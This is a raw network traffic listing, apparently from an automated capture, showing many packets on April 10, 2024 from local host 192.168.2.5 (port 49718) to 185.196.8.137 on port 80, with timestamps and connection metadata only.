Apr 10, 2024 10:24:12.104012966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104012966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104104996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104104996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104104996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104104996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104104996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104201078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104201078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104201078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104201078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104201078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104243994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104362011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104362011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104362011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104362011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104362011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104399920 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104399920 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104479074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104479074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104479074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104479074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104584932 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104584932 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104584932 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104584932 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104584932 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104599953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104635000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104635000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104717016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104717016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104717016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104717016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104815960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104815960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104815960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104815960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104815960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104914904 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104914904 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104914904 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104914904 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.104914904 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105010986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105010986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105010986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105010986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105010986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105031967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105124950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105124950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105125904 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105125904 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105125904 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105225086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105225086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105225086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105225086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105225086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105319023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105319023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105319023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105319023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105319977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105415106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105415106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105415106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105415106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105415106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105515957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105515957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105515957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105515957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105516911 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105607033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105607033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105607986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105607986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105607986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105706930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105706930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105706930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105706930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105706930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105806112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105806112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105806112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105806112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105806112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105902910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105902910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105902910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105902910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105902910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105998993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105998993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105998993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105998993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.105998993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106101036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106101036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106101036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106101036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106101036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106194973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106194973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106194973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106194973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106194973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106297016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106297016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106297016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106297016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106297016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106391907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106391907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106391907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106391907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106391907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106492996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106492996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106492996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106492996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106492996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106589079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106589079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106590033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106590033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106590033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106610060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106637001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106648922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106739044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106739044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106739044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106739044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106739044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106842041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106842041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106842041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106842041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106842041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106862068 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106892109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106903076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106935024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.106935024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107040882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107040882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107040882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107040882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107040882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107135057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107135057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107136011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107136011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107136011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107156992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107198954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107198954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107251883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107251883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107251883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107270002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107367992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107368946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107368946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107368946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107368946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107389927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107429981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107430935 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107455969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107466936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107492924 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107585907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107585907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107585907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107585907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107585907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107600927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107665062 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107665062 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107665062 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107702971 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107733011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107733011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107801914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107801914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107801914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107815027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107856989 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107856989 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107873917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107891083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107922077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107923031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107949972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.107969999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.108072996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.108072996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.108072996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.108072996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.108072996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.108091116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.108164072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.108164072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.108164072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.109513044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.109513044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.109513998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.109543085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.109601974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.109601974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.109601974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.109677076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.109677076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.109677076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.109695911 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.109703064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.109806061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.109806061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.109806061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.109806061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.109806061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.109843016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.109963894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110007048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110050917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110050917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110115051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110115051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110115051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110181093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110181093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110181093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110181093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110255957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110255957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110255957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110255957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110289097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110301018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110327959 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110342979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110359907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110392094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110446930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110446930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110446930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110476017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110476017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110492945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110542059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110542059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110569954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110569954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110677004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110677004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110677004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110677004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110677004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110697985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110776901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110776901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110776901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110776901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110810041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110810041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110888958 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110888958 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110888958 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110888958 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110922098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110922098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110960960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110996962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.110996962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111007929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111102104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111102104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111102104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111103058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111103058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111139059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111139059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111232996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111232996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111232996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111232996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111232996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111253023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111278057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111309052 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111309052 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111356020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111356020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111375093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111382008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111490011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111490011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111490011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111490011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111490011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111536980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111536980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111548901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111641884 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111641884 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111641884 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111641884 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111641884 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111660957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111690044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111690044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111717939 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111747980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111759901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111881018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111881018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111881018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111881018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111881018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111881018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111897945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111907959 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111994028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111994028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111994028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.111994028 CEST	49718	80	192.168.2.5	185.196.8.137
